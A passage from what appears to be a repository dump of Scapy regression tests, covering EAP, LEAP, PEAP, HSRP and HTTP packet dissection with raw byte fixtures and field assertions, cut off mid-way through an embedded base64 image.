b\"\\x02\\x03\\x01\\x15\\x15\\x00\\x16\\x03\\x01\\x01\\n\\x01\\x00\\x01\\x06\\x03\\x03\\xd5\\xd9\\xd5rT\\x9e\\xb8\\xbe,>\\xcf!\\xcf\\xc7\\x02\\x8c\\xb1\\x1e^F\\xf7\\xc84\\x8c\\x01t4\\x91[\\x02\\xc8/\\x00\\x00\\x8c\\xc00\\xc0,\\xc0(\\xc0$\\xc0\\x14\\xc0\\n\\x00\\xa5\\x00\\xa3\\x00\\xa1\\x00\\x9f\\x00k\\x00j\\x00i\\x00h\\x009\\x008\\x007\\x006\\x00\\x88\\x00\\x87\\x00\\x86\\x00\\x85\\xc02\\xc0.\\xc0*\\xc0&\\xc0\\x0f\\xc0\\x05\\x00\\x9d\\x00=\\x005\\x00\\x84\\xc0/\\xc0+\\xc0'\\xc0#\\xc0\\x13\\xc0\\t\\x00\\xa4\\x00\\xa2\\x00\\xa0\\x00\\x9e\\x00g\\x00@\\x00?\\x00>\\x003\\x002\\x001\\x000\\x00\\x9a\\x00\\x99\\x00\\x98\\x00\\x97\\x00E\\x00D\\x00C\\x00B\\xc01\\xc0-\\xc0)\\xc0%\\xc0\\x0e\\xc0\\x04\\x00\\x9c\\x00<\\x00/\\x00\\x96\\x00A\\x00\\xff\\x01\\x00\\x00Q\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x1c\\x00\\x1a\\x00\\x17\\x00\\x19\\x00\\x1c\\x00\\x1b\\x00\\x18\\x00\\x1a\\x00\\x16\\x00\\x0e\\x00\\r\\x00\\x0b\\x00\\x0c\\x00\\t\\x00\\n\\x00\\r\\x00 \\x00\\x1e\\x06\\x01\\x06\\x02\\x06\\x03\\x05\\x01\\x05\\x02\\x05\\x03\\x04\\x01\\x04\\x02\\x04\\x03\\x03\\x01\\x03\\x02\\x03\\x03\\x02\\x01\\x02\\x02\\x02\\x03\\x00\\x0f\\x00\\x01\\x01\"\neap = EAP(s)\nassert eap.code == 2\nassert eap.id == 3\nassert eap.len == 277\nassert eap.type == 21\nassert eap.haslayer(EAP_TTLS)\nassert eap[EAP_TTLS].L == 0\nassert eap[EAP_TTLS].M == 0\nassert eap[EAP_TTLS].S == 0\nassert eap[EAP_TTLS].version == 0\n\n= EAP - EAP_TLS - Basic Instantiation\nraw(EAP_TLS()) == b'\\x01\\x00\\x00\\x06\\r\\x00'\n\n= EAP - EAP_FAST - Basic Instantiation\nraw(EAP_FAST()) == b'\\x01\\x00\\x00\\x06+\\x00'\n\n= EAP - EAP_TTLS - Basic Instantiation\nraw(EAP_TTLS()) == b'\\x01\\x00\\x00\\x06\\x15\\x00'\n\n= EAP - EAP_PEAP - Basic Instantiation\nraw(EAP_PEAP()) == b'\\x01\\x00\\x00\\x06\\x19\\x01'\n\n= EAP - EAP_MD5 - Basic Instantiation\nraw(EAP_MD5()) == b'\\x01\\x00\\x00\\x06\\x04\\x00'\n\n= EAP - EAP_MD5 - Request - Dissection (8)\ns = b'\\x01\\x02\\x00\\x16\\x04\\x10\\x86\\xf9\\x89\\x94\\x81\\x01\\xb3 nHh\\x1b\\x8d\\xe7^\\xdb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\neap = EAP(s)\nassert eap.code == 1\nassert eap.id == 2\nassert eap.len == 22\nassert eap.type == 4\nassert eap.haslayer(EAP_MD5)\nassert eap[EAP_MD5].value_size == 16\nassert eap[EAP_MD5].value == b'\\x86\\xf9\\x89\\x94\\x81\\x01\\xb3 nHh\\x1b\\x8d\\xe7^\\xdb'\nassert eap[EAP_MD5].optional_name == b''\n\n= EAP - EAP_MD5 - Response - Dissection (9)\ns = b'\\x02\\x02\\x00\\x16\\x04\\x10\\xfd\\x1e\\xffe\\xf5\\x80y\\xa8\\xe3\\xc8\\xf1\\xbd\\xc2\\x85\\xae\\xcf\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\neap = EAP(s)\nassert eap.code == 2\nassert eap.id == 2\nassert eap.len == 22\nassert eap.type == 4\nassert eap.haslayer(EAP_MD5)\nassert eap[EAP_MD5].value_size == 16\nassert eap[EAP_MD5].value == b'\\xfd\\x1e\\xffe\\xf5\\x80y\\xa8\\xe3\\xc8\\xf1\\xbd\\xc2\\x85\\xae\\xcf'\nassert eap[EAP_MD5].optional_name == b''\n\n= EAP - LEAP - Basic Instantiation\nraw(LEAP()) == b'\\x01\\x00\\x00\\x08\\x11\\x01\\x00\\x00'\n\n= EAP - LEAP - Request - Dissection (10)\ns = b'\\x01D\\x00\\x1c\\x11\\x01\\x00\\x088\\xb6\\xd7\\xa1E<!\\x15supplicant-1'\neap = LEAP(s)\nassert eap.code == 1\nassert eap.id == 68\nassert eap.len == 28\nassert eap.type == 17\nassert eap.haslayer(LEAP)\nassert eap[LEAP].version == 1\nassert eap[LEAP].count == 8\nassert eap[LEAP].challenge_response == b'8\\xb6\\xd7\\xa1E<!\\x15'\nassert eap[LEAP].username == b\"supplicant-1\"\n\n= EAP - LEAP - Response - Dissection (11)\ns = b'\\x02D\\x00,\\x11\\x01\\x00\\x18\\xb3\\x82[\\x82\\x8a\\xc8M*\\xf3\\xe7\\xb3\\xad,7\\x8b\\xbfG\\x81\\xda\\xbf\\xe6\\xc1\\x9b\\x95supplicant-1'\neap = LEAP(s)\nassert eap.code == 2\nassert eap.id == 68\nassert eap.len == 44\nassert eap.type == 17\nassert eap.haslayer(LEAP)\nassert eap[LEAP].version == 1\nassert eap[LEAP].count == 24\nassert eap[LEAP].challenge_response == b'\\xb3\\x82[\\x82\\x8a\\xc8M*\\xf3\\xe7\\xb3\\xad,7\\x8b\\xbfG\\x81\\xda\\xbf\\xe6\\xc1\\x9b\\x95'\nassert eap[LEAP].username == b\"supplicant-1\"\n\n= EAP - PEAP - Request - Dissection\ns = b'\\x01\\x03\\x00\\x06\\x19 '\neap = EAP_PEAP(s)\nassert eap.code == 1\nassert eap.id == 3\nassert eap.len == 6\nassert eap.type == 25\nassert eap.haslayer(EAP_PEAP)\nassert eap[EAP_PEAP].S == 1\nassert eap[EAP_PEAP].version == 0\n\n= EAP - PEAP - Response - Dissection\ns = b'\\x02\\x03\\x008\\x19\\x01\\x16\\x03\\x03\\x00-\\x01\\x00\\x00)\\x03\\x03Zt9\\xb6\\xdem\\xb9\\xd4\\x00\\xed\\xa5Bp>\\x9a9\\x8a[\\x91\\xe1U\\xfa\\xb6H\\xd1\\xbd\\x9b\\xd5\\xadl\\rV\\x00\\x00\\x02\\x00/\\x01\\x00'\neap = EAP_PEAP(s)\nassert eap.code == 2\nassert eap.id == 3\nassert eap.len == 56\nassert eap.type == 25\nassert eap.haslayer(EAP_PEAP)\nassert eap[EAP_PEAP].S == 0\nassert eap[EAP_PEAP].version == 1\nassert hasattr(eap[EAP_PEAP], \"tls_data\")\n\n= EAP - Layers (1)\neap = EAP_MD5()\nassert EAP_MD5 in eap\nassert not EAP_TLS in eap\nassert not EAP_FAST in eap\nassert not LEAP in eap\nassert EAP in eap\neap = EAP_TLS()\nassert EAP_TLS in eap\nassert not EAP_MD5 in eap\nassert not EAP_FAST in eap\nassert not LEAP in eap\nassert EAP in eap\neap = EAP_FAST()\nassert EAP_FAST in eap\nassert not EAP_MD5 in eap\nassert not EAP_TLS in eap\nassert not LEAP in eap\nassert EAP in eap\neap = EAP_TTLS()\nassert EAP_TTLS in eap\nassert not EAP_MD5 in eap\nassert not EAP_TLS in eap\nassert not EAP_FAST in eap\nassert not LEAP in eap\nassert EAP in eap\neap = EAP_PEAP()\nassert EAP_PEAP in eap\nassert EAP in eap\neap = LEAP()\nassert not EAP_MD5 in eap\nassert not EAP_TLS in eap\nassert not EAP_FAST in eap\nassert LEAP in eap\nassert EAP in eap\n\n= EAP - Layers (2)\neap = EAP_MD5()\nassert type(eap[EAP]) == EAP_MD5\neap = EAP_TLS()\nassert type(eap[EAP]) == EAP_TLS\neap = EAP_FAST()\nassert type(eap[EAP]) == EAP_FAST\neap = EAP_TTLS()\nassert type(eap[EAP]) == EAP_TTLS\neap = EAP_PEAP()\nassert type(eap[EAP]) == EAP_PEAP\neap = LEAP()\nassert type(eap[EAP]) == LEAP\n\n= EAP - sessions (1)\np = IP()/TCP()/EAP()\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n\n= EAP - sessions (2)\np = IP()/UDP()/EAP()\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n"
  },
  {
    "path": "test/scapy/layers/hsrp.uts",
    "content": "% HSRP regression tests for Scapy\n\n\n############\n############\n+ HSRP tests\n\n= HSRP - build & dissection\ndefaddr = conf.route.route('0.0.0.0')[1]\npkt = IP(raw(IP()/UDP(dport=1985, sport=1985)/HSRP()/HSRPmd5()))\nassert pkt[IP].dst == \"224.0.0.2\" and pkt[UDP].sport == pkt[UDP].dport == 1985\nassert pkt[HSRP].opcode == 0 and pkt[HSRP].state == 16\nassert pkt[HSRPmd5].type == 4 and pkt[HSRPmd5].sourceip == defaddr\n\n\n"
  },
  {
    "path": "test/scapy/layers/http.uts",
    "content": "% HTTP regression tests for Scapy\n\n############\n############\n+ HTTP\n\n= TCPSession - dissect HTTP 1.0 chunked image\n~ http\n\nload_layer(\"http\")\n\nimport os\n\nfilename = scapy_path(\"/test/pcaps/http_chunk.pcap.gz\")\n\na = sniff(offline=filename, session=TCPSession)\n\na[2].show()\nassert HTTPRequest in a[2]\nassert a[2].Path == b'/httpgallery/chunked/chunkedimage.aspx?0.2911017199439567'\nassert a[2].Accept_Encoding == b'gzip, deflate'\nassert a[2].Accept == b'image/webp,image/apng,image/*,*/*;q=0.8'\nassert a[2].Http_Version == b'HTTP/1.1'\nassert a[2].Referer == b'http://www.httpwatch.com/httpgallery/chunked/'\n\na[29].show()\nassert HTTPResponse in a[29]\nassert a[29].Transfer_Encoding == b\"chunked\"\nassert a[29].Content_Type == b'image/jpeg; charset=utf-8'\nassert a[29].Http_Version == b'HTTP/1.1'\nassert a[29].Status_Code == b\"200\"\nassert a[29].Reason_Phrase == b\"OK\"\nassert len(a[29].load) == 33653\n# According to wireshark:\nwireshark_data = b'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